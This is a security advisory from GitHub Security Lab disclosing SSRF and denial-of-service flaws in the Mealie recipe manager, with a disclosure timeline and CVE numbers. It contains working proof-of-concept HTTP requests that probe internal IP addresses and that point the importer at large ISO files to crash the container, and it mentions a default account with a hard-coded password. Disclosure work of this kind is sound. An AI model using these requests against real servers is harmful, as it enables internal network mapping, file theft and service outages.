Coordinated Disclosure Timeline
- 2023-12-15- Findings are privately disclosed to Mealie maintainers as per their instructions with a noted disclosure date of March 14th, 2024.
- 2024-01-30 - An update is requested from the Mealie team.
- 2024-03-14 - An issue is opened in the Mealie repository requesting an update to avoid disclosure of actively exploitable vulnerabilities.
- 2024-03-15 - Mealie maintainers respond and request extension of disclosure timeline to March 25th.
- 2024-03-25 - An update is requested from the Mealie team.
- 2024-04-03 - Pull Request 3368 is merged, and version 1.4.0 is released containing fixes.
- 2024-04-09 - CVEs are assigned.
Summary
Mealie v1.0.0-RC1.1 is vulnerable to multiple SSRF and DoS vulnerabilities. These vulnerabilities can be leveraged to identify, map, and retrieve the contents of webservers on Mealie’s local network as well as being the victim of, or launching point for, a denial of service attack against a target of the attacker’s choice.
Project
Mealie
Tested Version
Details
Issue 1: GET-based SSRF in recipe importer (GHSL-2023-225
)
The safe_scrape_html
function utilizes a user-controlled URL to issue a request to a remote server. Based on the content of the response, it will either parse the content or disregard it. This function, nor those that call it, add any restrictions on the URL that can be provided, nor is it restricted to being an FQDN (i.e., an IP address can be provided).
As this function’s return will be handled differently by its caller depending on the response, it is possible for an attacker to use this functionality to positively identify HTTP(s) servers on the local network with any IP/port combination. A successful (i.e., any) response from the target URL, but one that does not provide a valid recipe, will throw a user-facing 400 error:
if not new_recipe:
raise HTTPException(status.HTTP_400_BAD_REQUEST, {"details": ParserErrors.BAD_RECIPE_DATA.value})
An unsuccessful response (i.e., no response from the target/timeout) will result in a 500 error being returned due to an underlying exception being thrown.
While these are not exposed in the UI, it is possible to POST
directly to the create-url API endpoint to elicit the response.
Requesting a non-existent resource:
POST /api/recipes/create-url HTTP/1.1
Host: <mealie_host>:9925
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 47
Origin: http://<mealie_host>:9925
DNT: 1
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%20<token>; mealie.auth._token_expiration.local=1700837039000
Sec-GPC: 1
{"url":"http://foo.bar/baz","includeTags":false}
HTTP/1.1 500 Internal Server Error
date: Wed, 22 Nov 2023 14:47:01 GMT
server: uvicorn
content-length: 21
content-type: text/plain; charset=utf-8
connection: close
Internal Server Error
Making a request to a webserver on the same private network:
POST /api/recipes/create-url HTTP/1.1
Host: <mealie_host>:9925
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 47
Origin: http://<mealie_host>:9925
DNT: 1
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%20<token>; mealie.auth._token_expiration.local=1700837039000
Sec-GPC: 1
{"url":"http://10.0.0.1:9001","includeTags":false}
HTTP/1.1 400 Bad Request
date: Wed, 22 Nov 2023 14:48:43 GMT
server: uvicorn
content-length: 40
content-type: application/json
connection: close
{"detail":{"details":"BAD_RECIPE_DATA"}}
This was identified with CodeQL’s Full server-side request forgery query.
Impact
This issue can result in any authenticated user being able to map HTTP servers on a local network that the Mealie service has access to. Note that by default any user can create an account on a Mealie server, and that the default changeme@example.com
user is available with its hard-coded password.
Resources
- https://cwe.mitre.org/data/definitions/918.html
Issue 2: DoS vulnerability in recipe importer (GHSL-2023-226
)
The safe_scrape_html
function utilizes a user-controlled URL to issue a request to a remote server, however these requests are not rate-limited.
While there are efforts to prevent DDoS by implementing a timeout on requests, it is possible for an attacker to issue a large number of requests to the server which will be handled in batches based on the configuration of the Mealie server.
The chunking of responses is helpful for mitigating memory exhaustion on the Mealie server, however a single request to an arbitrarily large external file (e.g. a Debian ISO) is often sufficient to completely saturate a CPU core assigned to the Mealie container. Without rate limiting in place, it is possible to not only sustain traffic against an external target indefinitely, but also to exhaust the CPU resources assigned to the Mealie container.
Send a request to download a Debian ISO:
POST /api/recipes/create-url HTTP/1.1
Host: <mealie_host>:9925
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 47
Origin: http://<mealie_host>:9925
DNT: 1
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%20<token>; mealie.auth._token_expiration.local=1700837039000
Sec-GPC: 1
{"url":"https://saimei.ftp.acc.umu.se/debian-cd/current/amd64/iso-cd/debian-12.2.0-amd64-netinst.iso","includeTags":false}
Observe impact on the container’s CPU utilization (capped at 1 worker/1 web concurrency):
737e59e3edb2 mealie 100.98% 189.8MiB / 1000MiB 18.98% 11.1MB / 1.4MB 262MB / 254kB 8
Increase workers/web concurrency to 4 and send multiple concurrent requests:
05be1d018e00 mealie 400.12% 613.1MiB / 1000MiB 61.31% 39MB / 265kB 241MB / 0B 28
These requests will eventually return a 408, however they can be sustained indefinitely and can also be queued server-side if more than 10 concurrenct requests are received by the server.
Impact
This issue can result in any authenticated user being able to exhaust the CPU resources available to the Mealie container as well as sustaining network traffic to a target of their choice indefinitely. Note that by default any user can create an account on a Mealie server, and that the default changeme@example.com
user is available with its hard-coded password.
Resources
- https://pypi.org/project/fastapi-limiter/
- https://pypi.org/project/slowapi/
Issue 3: GET-based SSRF in recipe image importer (GHSL-2023-227
)
The scrape_image
function will retrieve an image based on a user-provided URL, however the provided URL is not validated to point to an external location and does not have any enforced rate limiting.
The response from the Mealie server will also vary depending on whether or not the target file is an image, is not an image, or does not exist.
Request a resource (file or directory) that does not exist:
POST /api/recipes/foo/image HTTP/1.1
Host: <mealie_host>:9925
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 102
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%20<token>; mealie.auth._token_expiration.local=1700837039000
{"url":"http://10.0.0.1/foo"}
The response will be null
:
HTTP/1.1 200 OK
date: Wed, 22 Nov 2023 15:22:53 GMT
server: uvicorn
content-length: 4
content-type: application/json
connection: close
null
Response for a resource (file or directory, e.g. /foo
or /foo/
) that does exist but is not an image:
HTTP/1.1 400 Bad Request
date: Wed, 22 Nov 2023 15:23:51 GMT
server: uvicorn
content-length: 74
content-type: application/json
connection: close
{"detail":{"message":"Url is not an image","error":true,"exception":null}}
Additionally, when a file is retrieved the file may remain stored on Mealie’s file system as original.jpg
under the UUID of the recipe it was requested for. If the attacker has access to an admin account (e.g. the default changeme@example.com
), this file can then be retrieved by generating and downloading a backup from http(s)://<mealie_host>:<port>/admin/backups/
.
Note that if Mealie is running in a development setting this could be leveraged by an attacker to retrieve any file that the Mealie server had downloaded in this fashion without the need for administrator access.
This was identified with CodeQL’s Partial server-side request forgery query.
Impact
This permits an attacker to make arbitrary GET requests on a private network and brute-force map the contents of any HTTP server on the local network of Mealie, and (depending on the level of access) retrieve files accessible on the private network using the Mealie server as a proxy.
Resources
- https://cwe.mitre.org/data/definitions/918.html
Issue 4: DoS in recipe image importer (GHSL-2023-228
)
Importing an image into a recipe does not have restrictions on the locations an image can be requested from, and provides a user-facing error that can be used to verify whether or not the target URL (image or otherwise) exists at the location specified. Paired with a lack of rate limiting, this permits an attacker to fully map any HTTP server on the private network that Mealie has access to. This can also be used to retrieve arbitrary files from other HTTP servers (local, or remote) and later download them to the attacker’s machine if they are able to gain administrator access to the Mealie application. Additionally, as there is no rate limiting or enforced timeout, it is possible for an attacker to cause the Mealie server to crash due to memory exhaustion by pointing it to an arbitrarily large file (e.g. a Linux ISO with a size greater than the assigned memory for the Mealie container). This also allows an attacker to maintain multiple, looping, concurrent requests to any target of their choice assuming the response is not significantly large to crash Mealie.
Unlike the safe_scrape_html
function, the scrape_image
function does not have any associated timeouts, nor is the requested content chunked to reduce resource utilization.
As a result of this, an attacker can point the image request to an arbitrarily large file. Mealie will attempt to retrieve this file in whole. If it can be retrieved, it may be stored on the file system in whole (leading to possible disk consumption), however the more likely scenario given resource limitations is that the container will OOM during file retrieval if the target file size is greater than the allocated memory of the container. At best this can be used to force the container to infinitely restart due to OOM (if so configured in `docker-compose.yml), or at worst this can be used to force the Mealie container to crash and remain offline.
In the event that the file can be retrieved, the lack of rate limiting on this endpoint also permits an attacker to generate ongoing requests to any target of their choice, potentially contributing to an external-facing DoS attack.
Request an arbitrarily large file:
POST /api/recipes/foo/image HTTP/1.1
Host: <mealie_host>:9925
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 114
Connection: close
Cookie: i18n_redirected=en-US; mealie.auth.strategy=local; mealie.auth._token.local=Bearer%2<token>; mealie.auth._token_expiration.local=1700837039000
{"url":"https://mirror.umd.edu/opensuse/tumbleweed/iso/openSUSE-Tumbleweed-DVD-x86_64-Snapshot20231121-Media.iso"}
Monitor Mealie’s container stats & logs and watch the crash and subsequent restart:
aa2d30ab322f mealie 64.19% 993.3MiB / 1000MiB 99.33% 2.36GB / 12.1MB 1.81GB / 5.21GB 9
aa2d30ab322f mealie 64.19% 993.3MiB / 1000MiB 99.33% 2.36GB / 12.1MB 1.81GB / 5.21GB 9
aa2d30ab322f mealie 64.83% 998.2MiB / 1000MiB 99.82% 2.41GB / 12.3MB 1.81GB / 5.3GB 9
aa2d30ab322f mealie 64.83% 998.2MiB / 1000MiB 99.82% 2.41GB / 12.3MB 1.81GB / 5.3GB 9
aa2d30ab322f mealie 0.00% 9.445MiB / 1000MiB 0.94% 176B / 0B 22.7MB / 0B 3
aa2d30ab322f mealie 0.00% 9.445MiB / 1000MiB 0.94% 176B / 0B 22.7MB / 0B 3
aa2d30ab322f mealie 89.35% 14.89MiB / 1000MiB 1.49% 646B / 0B 67.2MB / 0B 3
mealie | INFO: 22-Nov-23 07:00:16 HTTP Request: GET https://mirror.umd.edu/opensuse/tumbleweed/iso/openSUSE-Tumbleweed-DVD-x86_64-Snapshot20231121-Media.iso "HTTP/1.1 200 OK"
mealie | INFO: 127.0.0.1:41980 - "GET /api/app/about HTTP/1.1" 200 OK
mealie | Killed
mealie | INFO: 22-Nov-23 07:00:43 Database connection established.
mealie | INFO: 22-Nov-23 07:00:43 Context impl SQLiteImpl.
Similar to requests made to /api/recipes/create-url
, multiple requests can be performed to accelerate this impact and reduce the time to failure/increase the relevant load.
Impact
This issue may lead to a denial of service to Mealie, or potentially an external target.
Resources
- https://pypi.org/project/fastapi-limiter/
- https://pypi.org/project/slowapi/
CVE
- CVE-2024-31991
- CVE-2024-31992
- CVE-2024-31993
- CVE-2024-31994
Credit
These issues were discovered and reported by GHSL team member @maclarel (Logan MacLaren).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-225
, GHSL-2023-226
, GHSL-2023-227
, or GHSL-2023-228
in any communication regarding these issues.